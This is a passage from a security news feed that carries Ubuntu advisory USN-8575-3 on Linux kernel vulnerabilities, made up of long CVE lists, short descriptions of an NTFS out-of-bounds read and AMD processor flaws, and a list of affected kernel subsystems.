CVE-2026-31655, CVE-2026-31656, CVE-2026-31657, CVE-2026-31658,
CVE-2026-31659, CVE-2026-31660, CVE-2026-31661, CVE-2026-31662,
CVE-2026-31664, CVE-2026-31665, CVE-2026-31667, CVE-2026-31668,
CVE-2026-31669, CVE-2026-31670, CVE-2026-31671, CVE-2026-31672,
CVE-2026-31673, CVE-2026-31674, CVE-2026-31675, CVE-2026-31677,
CVE-2026-31678, CVE-2026-31679, CVE-2026-31680, CVE-2026-31681,
CVE-2026-31682, CVE-2026-31683, CVE-2026-31684, CVE-2026-31685,
CVE-2026-31686, CVE-2026-31687, CVE-2026-31689, CVE-2026-31693,
CVE-2026-31694, CVE-2026-31695, CVE-2026-31696, CVE-2026-31697,
CVE-2026-31698, CVE-2026-31699, CVE-2026-31700, CVE-2026-31701,
CVE-2026-31702, CVE-2026-31704, CVE-2026-31705, CVE-2026-31706,
CVE-2026-31707, CVE-2026-31708, CVE-2026-31709, CVE-2026-31711,
CVE-2026-31712, CVE-2026-31714, CVE-2026-31715, CVE-2026-31716,
CVE-2026-31720, CVE-2026-31721, CVE-2026-31722, CVE-2026-31723,
CVE-2026-31724, CVE-2026-31725, CVE-2026-31726, CVE-2026-31728,
CVE-2026-31729, CVE-2026-31730, CVE-2026-31731, CVE-2026-31737,
CVE-2026-31738, CVE-2026-31740, CVE-2026-31741, CVE-2026-31747,
CVE-2026-31748, CVE-2026-31749, CVE-2026-31751, CVE-2026-31752,
CVE-2026-31754, CVE-2026-31755, CVE-2026-31756, CVE-2026-31758,
CVE-2026-31759, CVE-2026-31761, CVE-2026-31762, CVE-2026-31763,
CVE-2026-31767, CVE-2026-31768, CVE-2026-31770, CVE-2026-31772,
CVE-2026-31773, CVE-2026-31778, CVE-2026-31779, CVE-2026-31780,
CVE-2026-31781, CVE-2026-31788, CVE-2026-43007, CVE-2026-43011,
CVE-2026-43012, CVE-2026-43013, CVE-2026-43014, CVE-2026-43015,
CVE-2026-43016, CVE-2026-43017, CVE-2026-43018, CVE-2026-43019,
CVE-2026-43020, CVE-2026-43023, CVE-2026-43024, CVE-2026-43025,
CVE-2026-43026, CVE-2026-43027, CVE-2026-43028, CVE-2026-43030,
CVE-2026-43032, CVE-2026-43035, CVE-2026-43036, CVE-2026-43037,
CVE-2026-43038, CVE-2026-43040, CVE-2026-43041, CVE-2026-43043,
CVE-2026-43044, CVE-2026-43046, CVE-2026-43047, CVE-2026-43049,
CVE-2026-43050, CVE-2026-43051, CVE-2026-43052, CVE-2026-43054,
CVE-2026-43056, CVE-2026-43057, CVE-2026-43058, CVE-2026-43059,
CVE-2026-43060, CVE-2026-43061, CVE-2026-43062, CVE-2026-43064,
CVE-2026-43065, CVE-2026-43066, CVE-2026-43068, CVE-2026-43069,
CVE-2026-43071, CVE-2026-43072, CVE-2026-43073, CVE-2026-43074,
CVE-2026-43075, CVE-2026-43076, CVE-2026-43079, CVE-2026-43080,
CVE-2026-43081, CVE-2026-43082, CVE-2026-43085, CVE-2026-43086,
CVE-2026-43088, CVE-2026-43089, CVE-2026-43091, CVE-2026-43092,
CVE-2026-43093, CVE-2026-43094, CVE-2026-43098, CVE-2026-43099,
CVE-2026-43103, CVE-2026-43104, CVE-2026-43105, CVE-2026-43107,
CVE-2026-43109, CVE-2026-43110, CVE-2026-43111, CVE-2026-43112,
CVE-2026-43113, CVE-2026-43114, CVE-2026-43117, CVE-2026-43119,
CVE-2026-43120, CVE-2026-43123, CVE-2026-43124, CVE-2026-43128,
CVE-2026-43129, CVE-2026-43130, CVE-2026-43132, CVE-2026-43133,
CVE-2026-43134, CVE-2026-43135, CVE-2026-43136, CVE-2026-43137,
CVE-2026-43139, CVE-2026-43140, CVE-2026-43141, CVE-2026-43143,
CVE-2026-43145, CVE-2026-43147, CVE-2026-43148, CVE-2026-43149,
CVE-2026-43150, CVE-2026-43152, CVE-2026-43153, CVE-2026-43156,
CVE-2026-43157, CVE-2026-43158, CVE-2026-43159, CVE-2026-43162,
CVE-2026-43163, CVE-2026-43167, CVE-2026-43168, CVE-2026-43169,
CVE-2026-43170, CVE-2026-43171, CVE-2026-43173, CVE-2026-43175,
CVE-2026-43180, CVE-2026-43182, CVE-2026-43183, CVE-2026-43184,
CVE-2026-43185, CVE-2026-43186, CVE-2026-43187, CVE-2026-43189,
CVE-2026-43190, CVE-2026-43194, CVE-2026-43196, CVE-2026-43199,
CVE-2026-43200, CVE-2026-43201, CVE-2026-43202, CVE-2026-43203,
CVE-2026-43205, CVE-2026-43206, CVE-2026-43207, CVE-2026-43209,
CVE-2026-43211, CVE-2026-43214, CVE-2026-43215, CVE-2026-43218,
CVE-2026-43221, CVE-2026-43222, CVE-2026-43223, CVE-2026-43225,
CVE-2026-43226, CVE-2026-43227, CVE-2026-43230, CVE-2026-43231,
CVE-2026-43232, CVE-2026-43233, CVE-2026-43236, CVE-2026-43238,
CVE-2026-43239, CVE-2026-43241, CVE-2026-43242, CVE-2026-43244,
CVE-2026-43245, CVE-2026-43246, CVE-2026-43248, CVE-2026-43249,
CVE-2026-43250, CVE-2026-43251, CVE-2026-43252, CVE-2026-43253,
CVE-2026-43255, CVE-2026-43256, CVE-2026-43257, CVE-2026-43261,
CVE-2026-43262, CVE-2026-43264, CVE-2026-43265, CVE-2026-43266,
CVE-2026-43268, CVE-2026-43269, CVE-2026-43270, CVE-2026-43271,
CVE-2026-43273, CVE-2026-43275, CVE-2026-43277, CVE-2026-43278,
CVE-2026-43279, CVE-2026-43281, CVE-2026-43283, CVE-2026-43287,
CVE-2026-43288, CVE-2026-43289, CVE-2026-43291, CVE-2026-43295,
CVE-2026-43296, CVE-2026-43297, CVE-2026-43300, CVE-2026-43302,
CVE-2026-43304, CVE-2026-43312, CVE-2026-43313, CVE-2026-43314,
CVE-2026-43315, CVE-2026-43316, CVE-2026-43317, CVE-2026-43318,
CVE-2026-43319, CVE-2026-43320, CVE-2026-43324, CVE-2026-43327,
CVE-2026-43328, CVE-2026-43329, CVE-2026-43330, CVE-2026-43332,
CVE-2026-43333, CVE-2026-43334, CVE-2026-43336, CVE-2026-43338,
CVE-2026-43339, CVE-2026-43340, CVE-2026-43341, CVE-2026-43342,
CVE-2026-43343, CVE-2026-43345, CVE-2026-43350, CVE-2026-43355,
CVE-2026-43357, CVE-2026-43359, CVE-2026-43360, CVE-2026-43361,
CVE-2026-43363, CVE-2026-43365, CVE-2026-43366, CVE-2026-43368,
CVE-2026-43370, CVE-2026-43372, CVE-2026-43373, CVE-2026-43377,
CVE-2026-43378, CVE-2026-43380, CVE-2026-43381, CVE-2026-43382,
CVE-2026-43383, CVE-2026-43384, CVE-2026-43386, CVE-2026-43387,
CVE-2026-43395, CVE-2026-43397, CVE-2026-43405, CVE-2026-43406,
CVE-2026-43407, CVE-2026-43408, CVE-2026-43409, CVE-2026-43411,
CVE-2026-43412, CVE-2026-43413, CVE-2026-43414, CVE-2026-43415,
CVE-2026-43419, CVE-2026-43420, CVE-2026-43421, CVE-2026-43424,
CVE-2026-43425, CVE-2026-43426, CVE-2026-43427, CVE-2026-43428,
CVE-2026-43429, CVE-2026-43430, CVE-2026-43432, CVE-2026-43436,
CVE-2026-43437, CVE-2026-43439, CVE-2026-43441, CVE-2026-43445,
CVE-2026-43448, CVE-2026-43449, CVE-2026-43450, CVE-2026-43451,
CVE-2026-43452, CVE-2026-43453, CVE-2026-43455, CVE-2026-43456,
CVE-2026-43457, CVE-2026-43458, CVE-2026-43459, CVE-2026-43466,
CVE-2026-43467, CVE-2026-43468, CVE-2026-43469, CVE-2026-43471,
CVE-2026-43472, CVE-2026-43473, CVE-2026-43475, CVE-2026-43476,
CVE-2026-43480, CVE-2026-43483, CVE-2026-43484, CVE-2026-43488,
CVE-2026-43490, CVE-2026-43491, CVE-2026-43492, CVE-2026-43493,
CVE-2026-43495, CVE-2026-43496, CVE-2026-43497, CVE-2026-43499,
CVE-2026-43501, CVE-2026-43502, CVE-2026-45834, CVE-2026-45835,
CVE-2026-45836, CVE-2026-45838, CVE-2026-45839, CVE-2026-45840,
CVE-2026-45841, CVE-2026-45842, CVE-2026-45843, CVE-2026-45844,
CVE-2026-45845, CVE-2026-45846, CVE-2026-45847, CVE-2026-45848,
CVE-2026-45849, CVE-2026-45851, CVE-2026-45852, CVE-2026-45855,
CVE-2026-45856, CVE-2026-45857, CVE-2026-45858, CVE-2026-45859,
CVE-2026-45860, CVE-2026-45861, CVE-2026-45862, CVE-2026-45864,
CVE-2026-45865, CVE-2026-45866, CVE-2026-45867, CVE-2026-45868,
CVE-2026-45869, CVE-2026-45870, CVE-2026-45871, CVE-2026-45872,
CVE-2026-45873, CVE-2026-45875, CVE-2026-45877, CVE-2026-45878,
CVE-2026-45879, CVE-2026-45880, CVE-2026-45881, CVE-2026-45882,
CVE-2026-45883, CVE-2026-45884, CVE-2026-45885, CVE-2026-45886,
CVE-2026-45890, CVE-2026-45891, CVE-2026-45893, CVE-2026-45895,
CVE-2026-45899, CVE-2026-45902, CVE-2026-45904, CVE-2026-45905,
CVE-2026-45910, CVE-2026-45911, CVE-2026-45912, CVE-2026-45913,
CVE-2026-45914, CVE-2026-45915, CVE-2026-45916, CVE-2026-45917,
CVE-2026-45919, CVE-2026-45920, CVE-2026-45921, CVE-2026-45923,
CVE-2026-45924, CVE-2026-45928, CVE-2026-45935, CVE-2026-45936,
CVE-2026-45938, CVE-2026-45941, CVE-2026-45942, CVE-2026-45943,
CVE-2026-45946, CVE-2026-45947, CVE-2026-45948, CVE-2026-45954,
CVE-2026-45956, CVE-2026-45957, CVE-2026-45958, CVE-2026-45960,
CVE-2026-45962, CVE-2026-45964, CVE-2026-45965, CVE-2026-45968,
CVE-2026-45969, CVE-2026-45970, CVE-2026-45972, CVE-2026-45973,
CVE-2026-45974, CVE-2026-45976, CVE-2026-45978, CVE-2026-45981,
CVE-2026-45982, CVE-2026-45983, CVE-2026-45984, CVE-2026-45985,
CVE-2026-45986, CVE-2026-45987, CVE-2026-45988, CVE-2026-45989,
CVE-2026-45991, CVE-2026-45994, CVE-2026-45996, CVE-2026-45997,
CVE-2026-45999, CVE-2026-46002, CVE-2026-46003, CVE-2026-46004,
CVE-2026-46005, CVE-2026-46006, CVE-2026-46007, CVE-2026-46009,
CVE-2026-46011, CVE-2026-46012, CVE-2026-46015, CVE-2026-46016,
CVE-2026-46018, CVE-2026-46019, CVE-2026-46021, CVE-2026-46022,
CVE-2026-46023, CVE-2026-46024, CVE-2026-46026, CVE-2026-46027,
CVE-2026-46031, CVE-2026-46033, CVE-2026-46037, CVE-2026-46038,
CVE-2026-46040, CVE-2026-46041, CVE-2026-46043, CVE-2026-46044,
CVE-2026-46046, CVE-2026-46047, CVE-2026-46049, CVE-2026-46050,
CVE-2026-46051, CVE-2026-46052, CVE-2026-46053, CVE-2026-46056,
CVE-2026-46058, CVE-2026-46061, CVE-2026-46062, CVE-2026-46063,
CVE-2026-46064, CVE-2026-46065, CVE-2026-46068, CVE-2026-46069,
CVE-2026-46070, CVE-2026-46072, CVE-2026-46073, CVE-2026-46075,
CVE-2026-46076, CVE-2026-46077, CVE-2026-46078, CVE-2026-46079,
CVE-2026-46080, CVE-2026-46082, CVE-2026-46083, CVE-2026-46084,
CVE-2026-46086, CVE-2026-46088, CVE-2026-46089, CVE-2026-46090,
CVE-2026-46091, CVE-2026-46092, CVE-2026-46094, CVE-2026-46098,
CVE-2026-46099, CVE-2026-46101, CVE-2026-46102, CVE-2026-46103,
CVE-2026-46106, CVE-2026-46107, CVE-2026-46108, CVE-2026-46110,
CVE-2026-46111, CVE-2026-46112, CVE-2026-46113, CVE-2026-46114,
CVE-2026-46115, CVE-2026-46116, CVE-2026-46117, CVE-2026-46119,
CVE-2026-46120, CVE-2026-46121, CVE-2026-46122, CVE-2026-46123,
CVE-2026-46124, CVE-2026-46125, CVE-2026-46126, CVE-2026-46127,
CVE-2026-46128, CVE-2026-46129, CVE-2026-46131, CVE-2026-46132,
CVE-2026-46133, CVE-2026-46135, CVE-2026-46136, CVE-2026-46137,
CVE-2026-46138, CVE-2026-46139, CVE-2026-46142, CVE-2026-46143,
CVE-2026-46144, CVE-2026-46145, CVE-2026-46146, CVE-2026-46149,
CVE-2026-46150, CVE-2026-46151, CVE-2026-46152, CVE-2026-46157,
CVE-2026-46159, CVE-2026-46160, CVE-2026-46161, CVE-2026-46163,
CVE-2026-46164, CVE-2026-46167, CVE-2026-46168, CVE-2026-46169,
CVE-2026-46172, CVE-2026-46173, CVE-2026-46174, CVE-2026-46176,
CVE-2026-46177, CVE-2026-46178, CVE-2026-46179, CVE-2026-46180,
CVE-2026-46184, CVE-2026-46185, CVE-2026-46186, CVE-2026-46187,
CVE-2026-46189, CVE-2026-46190, CVE-2026-46191, CVE-2026-46193,
CVE-2026-46194, CVE-2026-46195, CVE-2026-46196, CVE-2026-46197,
CVE-2026-46198, CVE-2026-46199, CVE-2026-46200, CVE-2026-46201,
CVE-2026-46204, CVE-2026-46205, CVE-2026-46206, CVE-2026-46207,
CVE-2026-46208, CVE-2026-46209, CVE-2026-46211, CVE-2026-46212,
CVE-2026-46214, CVE-2026-46218, CVE-2026-46219, CVE-2026-46220,
CVE-2026-46225, CVE-2026-46226, CVE-2026-46227, CVE-2026-46229,
CVE-2026-46230, CVE-2026-46231, CVE-2026-46232, CVE-2026-46233,
CVE-2026-46234, CVE-2026-46235, CVE-2026-46236, CVE-2026-46238,
CVE-2026-46241, CVE-2026-46243, CVE-2026-46244, CVE-2026-46246,
CVE-2026-46247, CVE-2026-46249, CVE-2026-46250, CVE-2026-46251,
CVE-2026-46253, CVE-2026-46254, CVE-2026-46255, CVE-2026-46259,
CVE-2026-46260, CVE-2026-46261, CVE-2026-46265, CVE-2026-46266,
CVE-2026-46267, CVE-2026-46270, CVE-2026-46273, CVE-2026-46274,
CVE-2026-46280, CVE-2026-46282, CVE-2026-46285, CVE-2026-46286,
CVE-2026-46287, CVE-2026-46289, CVE-2026-46291, CVE-2026-46292,
CVE-2026-46293, CVE-2026-46294, CVE-2026-46296, CVE-2026-46299,
CVE-2026-46301, CVE-2026-46303, CVE-2026-46304, CVE-2026-46306,
CVE-2026-46307, CVE-2026-46312, CVE-2026-46314, CVE-2026-46319,
CVE-2026-46328, CVE-2026-52911, CVE-2026-52920, CVE-2026-52925,
CVE-2026-52933, CVE-2026-52936, CVE-2026-52951, CVE-2026-52954,
CVE-2026-52955, CVE-2026-52957, CVE-2026-52958, CVE-2026-52961,
CVE-2026-52962, CVE-2026-52963, CVE-2026-52964, CVE-2026-52967,
CVE-2026-52968, CVE-2026-52969, CVE-2026-52970, CVE-2026-52974,
CVE-2026-52975, CVE-2026-52977, CVE-2026-52981, CVE-2026-52982,
CVE-2026-52984, CVE-2026-52985, CVE-2026-52986, CVE-2026-52989,
CVE-2026-52990, CVE-2026-52992, CVE-2026-52993, CVE-2026-52995,
CVE-2026-52998, CVE-2026-52999, CVE-2026-53001, CVE-2026-53002,
CVE-2026-53003, CVE-2026-53004, CVE-2026-53006, CVE-2026-53011,
CVE-2026-53012, CVE-2026-53013, CVE-2026-53014, CVE-2026-53015,
CVE-2026-53016, CVE-2026-53021, CVE-2026-53022, CVE-2026-53023,
CVE-2026-53032, CVE-2026-53033, CVE-2026-53034, CVE-2026-53035,
CVE-2026-53036, CVE-2026-53037, CVE-2026-53039, CVE-2026-53040,
CVE-2026-53041, CVE-2026-53043, CVE-2026-53045, CVE-2026-53046,
CVE-2026-53047, CVE-2026-53048, CVE-2026-53049, CVE-2026-53050,
CVE-2026-53052, CVE-2026-53056, CVE-2026-53058, CVE-2026-53059,
CVE-2026-53060, CVE-2026-53061, CVE-2026-53062, CVE-2026-53063,
CVE-2026-53064, CVE-2026-53065, CVE-2026-53066, CVE-2026-53068,
CVE-2026-53069, CVE-2026-53071, CVE-2026-53072, CVE-2026-53073,
CVE-2026-53074, CVE-2026-53075, CVE-2026-53076, CVE-2026-53077,
CVE-2026-53082, CVE-2026-53083, CVE-2026-53084, CVE-2026-53085,
CVE-2026-53086, CVE-2026-53088, CVE-2026-53093, CVE-2026-53094,
CVE-2026-53096, CVE-2026-53097, CVE-2026-53098, CVE-2026-53110,
CVE-2026-53111, CVE-2026-53112, CVE-2026-53115, CVE-2026-53117,
CVE-2026-53122, CVE-2026-53123, CVE-2026-53126, CVE-2026-53128,
CVE-2026-53130, CVE-2026-53279, CVE-2026-53287, CVE-2026-53289,
CVE-2026-53291, CVE-2026-53293, CVE-2026-53294, CVE-2026-53295,
CVE-2026-53296, CVE-2026-53303, CVE-2026-53304, CVE-2026-53306,
CVE-2026-53309, CVE-2026-53314, CVE-2026-53320, CVE-2026-53369,
CVE-2026-53374, CVE-2026-53375, CVE-2026-53376, CVE-2026-53379,
CVE-2026-63838, CVE-2026-63843, CVE-2026-63844, CVE-2026-63845,
CVE-2026-63846, CVE-2026-63847, CVE-2026-63848, CVE-2026-63851,
CVE-2026-63852, CVE-2026-63854, CVE-2026-63855, CVE-2026-63856,
CVE-2026-63860, CVE-2026-63861, CVE-2026-63862, CVE-2026-63865,
CVE-2026-64018, CVE-2026-64034, CVE-2026-64164)]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8575-3: Linux kernel vulnerabilities]]></title>
<description><![CDATA[Maxim Suhanov discovered that the NTFS file system implementation in the
Linux kernel did not properly validate file name length in certain
situations, leading to an out-of-bounds read. An attacker could use this to
construct a malicious NTFS image that, when mounted and operated on, could
expose...]]></description>
<link>https://tsecurity.de/de/3691494/unix-server/usn-8575-3-linux-kernel-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691494/unix-server/usn-8575-3-linux-kernel-vulnerabilities/</guid>
<pubDate>Fri, 24 Jul 2026 14:17:35 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Maxim Suhanov discovered that the NTFS file system implementation in the
Linux kernel did not properly validate file name length in certain
situations, leading to an out-of-bounds read. An attacker could use this to
construct a malicious NTFS image that, when mounted and operated on, could
expose sensitive information (kernel memory). (CVE-2023-45896)

It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM32 architecture;
  - ARM64 architecture;
  - MIPS architecture;
  - PowerPC architecture;
  - S390 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - ACPI drivers;
  - ATM drivers;
  - Drivers core;
  - Power management core;
  - DRBD Distributed Replicated Block Device drivers;
  - RNBD block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - TPM device driver;
  - Clocksource drivers;
  - Data acquisition framework and drivers;
  - CPU frequency scaling framework;
  - CPU idle management framework;
  - Hardware crypto device drivers;
  - DMA engine subsystem;
  - Arm Firmware Framework for ARMv8-A(FFA);
  - EFI core;
  - GPIO subsystem;
  - GPU drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - IIO subsystem;
  - IIO ADC drivers;
  - InfiniBand drivers;
  - Input Device (Miscellaneous) drivers;
  - IOMMU subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - MediaTek SMI driver;
  - NVIDIA Tegra memory controller driver;
  - Multifunction device drivers;
  - IBM Advanced System Management driver;
  - MMC subsystem;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - MediaTek network drivers;
  - Near Field Communication (NFC) drivers;
  - NTB driver;
  - NVDIMM (Non-Volatile Memory Device) drivers;
  - NVME drivers;
  - PCI subsystem;
  - Pin controllers subsystem;
  - x86 platform drivers;
  - Broadcom BCM2835 power domain driver;
  - Power supply drivers;
  - RapidIO drivers;
  - Remote Processor subsystem;
  - RPMSG subsystem;
  - SCSI subsystem;
  - Freescale SoC drivers;
  - Texas Instruments SoC drivers;
  - SPI subsystem;
  - Greybus lights staging drivers;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - TTY drivers;
  - UFS subsystem;
  - Cadence USB3 driver;
  - USB Device Class drivers;
  - ULPI bus;
  - USB core drivers;
  - DesignWare USB2 driver;
  - USB Gadget drivers;
  - USB Host Controller drivers;
  - Mustek MDC800 USB digital camera driver;
  - USB YUREX driver;
  - Renesas USBHS Controller drivers;
  - Framebuffer layer;
  - Xen hypervisor drivers;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FAT file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - JFS file system;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Proc file system;
  - Pstore file system;
  - Diskquota system;
  - SMB network file system;
  - SquashFS file system;
  - UDF file system;
  - XFS file system;
  - Audit subsystem;
  - RAS (Reliability, Availability, Serviceability) subsystem;
  - Memory Management;
  - KVM subsystem;
  - Memory management;
  - PPP protocol drivers and compressors;
  - Linux Security Modules (LSM) Framework;
  - Network traffic control;
  - Bluetooth subsystem;
  - MAC80211 subsystem;
  - Netfilter;
  - IP tunnels definitions;
  - Tracing infrastructure;
  - User-space API (UAPI);
  - io_uring subsystem;
  - BPF subsystem;
  - Control group (cgroup);
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - Kernel kexec() syscall;
  - Kernel module support;
  - Scheduler infrastructure;
  - Cryptographic library;
  - KASAN memory debugging framework;
  - Asynchronous Transfer Mode (ATM) subsystem;
  - B.A.T.M.A.N. meshing protocol;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - Networking core;
  - Distributed Switch Architecture;
  - IPv4 networking;
  - IPv6 networking;
  - XFRM subsystem;
  - L2TP protocol;
  - Management Component Transport Protocol (MCTP);
  - Multipath TCP;
  - NCSI (Network Controller Sideband Interface) driver;
  - NFC subsystem;
  - Open vSwitch;
  - Phonet protocol;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RF switch subsystem;
  - Rose network layer;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - Sun RPC protocol;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - eXpress Data Path;
  - AppArmor security module;
  - Simplified Mandatory Access Control Kernel framework;
  - ALSA framework;
  - FireWire sound drivers;
  - HD-audio driver;
  - AudioScience HPI driver;
  - Creative Sound Blaster X-Fi driver;
  - AMD SoC Alsa drivers;
  - SoC audio core drivers;
  - STI ASoC drivers;
  - USB sound devices;
(CVE-2022-49803, CVE-2022-49961, CVE-2022-50073, CVE-2022-50116,
CVE-2022-50552, CVE-2023-52682, CVE-2023-52737, CVE-2023-53545,
CVE-2023-53596, CVE-2023-53629, CVE-2024-27389, CVE-2024-35865,
CVE-2024-36898, CVE-2024-36922, CVE-2024-41079, CVE-2024-46715,
CVE-2024-46770, CVE-2024-47809, CVE-2024-50012, CVE-2024-53221,
CVE-2024-56557, CVE-2024-56584, CVE-2024-56657, CVE-2024-56719,
CVE-2024-56727, CVE-2025-21712, CVE-2025-21739, CVE-2025-21863,
CVE-2025-22107, CVE-2025-23141, CVE-2025-37786, CVE-2025-38006,
CVE-2025-38105, CVE-2025-38192, CVE-2025-38250, CVE-2025-38562,
CVE-2025-38626, CVE-2025-38659, CVE-2025-38710, CVE-2025-39748,
CVE-2025-39764, CVE-2025-40005, CVE-2025-40016, CVE-2025-40103,
CVE-2025-40323, CVE-2025-68206, CVE-2025-68239, CVE-2025-68256,
CVE-2025-68307, CVE-2025-68358, CVE-2025-71150, CVE-2025-71161,
CVE-2025-71221, CVE-2025-71232, CVE-2025-71233, CVE-2025-71235,
CVE-2025-71236, CVE-2025-71237, CVE-2025-71238, CVE-2025-71239,
CVE-2025-71265, CVE-2025-71266, CVE-2025-71267, CVE-2025-71274,
CVE-2025-71287, CVE-2025-71292, CVE-2025-71304, CVE-2026-23031,
CVE-2026-23066, CVE-2026-23100, CVE-2026-23113, CVE-2026-23141,
CVE-2026-23157, CVE-2026-23169, CVE-2026-23204, CVE-2026-23220,
CVE-2026-23221, CVE-2026-23222, CVE-2026-23227, CVE-2026-23228,
CVE-2026-23229, CVE-2026-23234, CVE-2026-23235, CVE-2026-23236,
CVE-2026-23237, CVE-2026-23238, CVE-2026-23241, CVE-2026-23242,
CVE-2026-23243, CVE-2026-23253, CVE-2026-23266, CVE-2026-23270,
CVE-2026-23277, CVE-2026-23279, CVE-2026-23281, CVE-2026-23286,
CVE-2026-23289, CVE-2026-23290, CVE-2026-23291, CVE-2026-23293,
CVE-2026-23296, CVE-2026-23298, CVE-2026-23300, CVE-2026-23303,
CVE-2026-23304, CVE-2026-23307, CVE-2026-23312, CVE-2026-23318,
CVE-2026-23324, CVE-2026-23335, CVE-2026-23336, CVE-2026-23339,
CVE-2026-23340, CVE-2026-23352, CVE-2026-23356, CVE-2026-23357,
CVE-2026-23359, CVE-2026-23362, CVE-2026-23365, CVE-2026-23367,
CVE-2026-23368, CVE-2026-23370, CVE-2026-23372, CVE-2026-23379,
CVE-2026-23381, CVE-2026-23382, CVE-2026-23388, CVE-2026-23391,
CVE-2026-23392, CVE-2026-23395, CVE-2026-23396, CVE-2026-23397,
CVE-2026-23398, CVE-2026-23399, CVE-2026-23401, CVE-2026-23420,
CVE-2026-23434, CVE-2026-23438, CVE-2026-23439, CVE-2026-23442,
CVE-2026-23444, CVE-2026-23446, CVE-2026-23452, CVE-2026-23454,
CVE-2026-23456, CVE-2026-23457, CVE-2026-23458, CVE-2026-23460,
CVE-2026-23462, CVE-2026-23463, CVE-2026-23474, CVE-2026-31393,
CVE-2026-31396, CVE-2026-31399, CVE-2026-31400, CVE-2026-31405,
CVE-2026-31407, CVE-2026-31408, CVE-2026-31409, CVE-2026-31411,
CVE-2026-31415, CVE-2026-31416, CVE-2026-31417, CVE-2026-31421,
CVE-2026-31422, CVE-2026-31423, CVE-2026-31424, CVE-2026-31425,
CVE-2026-31427, CVE-2026-31428, CVE-2026-31433, CVE-2026-31446,
CVE-2026-31447, CVE-2026-31450, CVE-2026-31452, CVE-2026-31454,
CVE-2026-31455, CVE-2026-31464, CVE-2026-31466, CVE-2026-31467,
CVE-2026-31469, CVE-2026-31473, CVE-2026-31476, CVE-2026-31480,
CVE-2026-31483, CVE-2026-31485, CVE-2026-31489, CVE-2026-31494,
CVE-2026-31495, CVE-2026-31497, CVE-2026-31498, CVE-2026-31507,
CVE-2026-31508, CVE-2026-31509, CVE-2026-31510, CVE-2026-31512,
CVE-2026-31515, CVE-2026-31518, CVE-2026-31521, CVE-2026-31522,
CVE-2026-31523, CVE-2026-31524, CVE-2026-31532, CVE-2026-31540,
CVE-2026-31545, CVE-2026-31546, CVE-2026-31549, CVE-2026-31550,
CVE-2026-31551, CVE-2026-31552, CVE-2026-31555, CVE-2026-31565,
CVE-2026-31570, CVE-2026-31576, CVE-2026-31577, CVE-2026-31578,
CVE-2026-31580, CVE-2026-31581, CVE-2026-31583, CVE-2026-31585,
CVE-2026-31586, CVE-2026-31588, CVE-2026-31590, CVE-2026-31594,
CVE-2026-31596, CVE-2026-31597, CVE-2026-31598, CVE-2026-31599,
CVE-2026-31602, CVE-2026-31603, CVE-2026-31605, CVE-2026-31615,
CVE-2026-31616, CVE-2026-31617, CVE-2026-31618, CVE-2026-31619,
CVE-2026-31622, CVE-2026-31623, CVE-2026-31624, CVE-2026-31625,
CVE-2026-31626, CVE-2026-31627, CVE-2026-31628, CVE-2026-31629,
CVE-2026-31630, CVE-2026-31634, CVE-2026-31642, CVE-2026-31651,
CVE-2026-31656, CVE-2026-31658, CVE-2026-31660, CVE-2026-31661,
CVE-2026-31662, CVE-2026-31664, CVE-2026-31665, CVE-2026-31667,
CVE-2026-31670, CVE-2026-31671, CVE-2026-31672, CVE-2026-31673,
CVE-2026-31674, CVE-2026-31676, CVE-2026-31679, CVE-2026-31680,
CVE-2026-31681, CVE-2026-31683, CVE-2026-31684, CVE-2026-31686,
CVE-2026-31687, CVE-2026-31694, CVE-2026-31695, CVE-2026-31696,
CVE-2026-31697, CVE-2026-31698, CVE-2026-31699, CVE-2026-31701,
CVE-2026-31716, CVE-2026-31720, CVE-2026-31721, CVE-2026-31726,
CVE-2026-31728, CVE-2026-31737, CVE-2026-31738, CVE-2026-31747,
CVE-2026-31748, CVE-2026-31749, CVE-2026-31751, CVE-2026-31752,
CVE-2026-31754, CVE-2026-31755, CVE-2026-31756, CVE-2026-31758,
CVE-2026-31759, CVE-2026-31761, CVE-2026-31762, CVE-2026-31763,
CVE-2026-31770, CVE-2026-31773, CVE-2026-31778, CVE-2026-31780,
CVE-2026-31781, CVE-2026-31788, CVE-2026-43014, CVE-2026-43015,
CVE-2026-43020, CVE-2026-43024, CVE-2026-43026, CVE-2026-43027,
CVE-2026-43028, CVE-2026-43030, CVE-2026-43032, CVE-2026-43035,
CVE-2026-43040, CVE-2026-43041, CVE-2026-43043, CVE-2026-43046,
CVE-2026-43047, CVE-2026-43050, CVE-2026-43051, CVE-2026-43052,
CVE-2026-43054, CVE-2026-43058, CVE-2026-43060, CVE-2026-43061,
